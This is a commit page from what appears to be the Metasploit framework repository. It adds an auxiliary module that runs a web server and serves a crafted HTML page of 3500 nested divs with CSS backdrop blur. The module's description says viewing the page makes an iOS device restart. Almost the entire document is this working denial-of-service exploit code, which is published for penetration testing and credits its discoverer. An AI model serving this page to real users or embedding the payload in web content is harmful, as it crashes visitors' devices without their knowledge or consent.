Land #10652, iOS Safari blur denial of service
parent
228c08bb4d
commit
65a19a92eb
|
@ -0,0 +1,60 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => "iOS Safari Denial of Service with CSS",
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits a vulnerability in WebKit on Apple iOS.
|
||||||
|
If successful, the device will restart after viewing the webpage.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Sabri Haddouche', # twitter.com/pwnsdx
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'],
|
||||||
|
['URL', 'https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'],
|
||||||
|
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Sep 15 2018",
|
||||||
|
'Actions' => [[ 'WebServer' ]],
|
||||||
|
'PassiveActions' => [ 'WebServer' ],
|
||||||
|
'DefaultAction' => 'WebServer'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
exploit
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, _request)
|
||||||
|
print_status('Sending response')
|
||||||
|
html = %|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
|
||||||
|
<style>
|
||||||
|
div {
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
-webkit-backdrop-filter: blur(10px);
|
||||||
|
width:10000px; height:10000px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
#{'<div>' * 3500 + '</div>' * 3500}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
send_response(cli, html)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue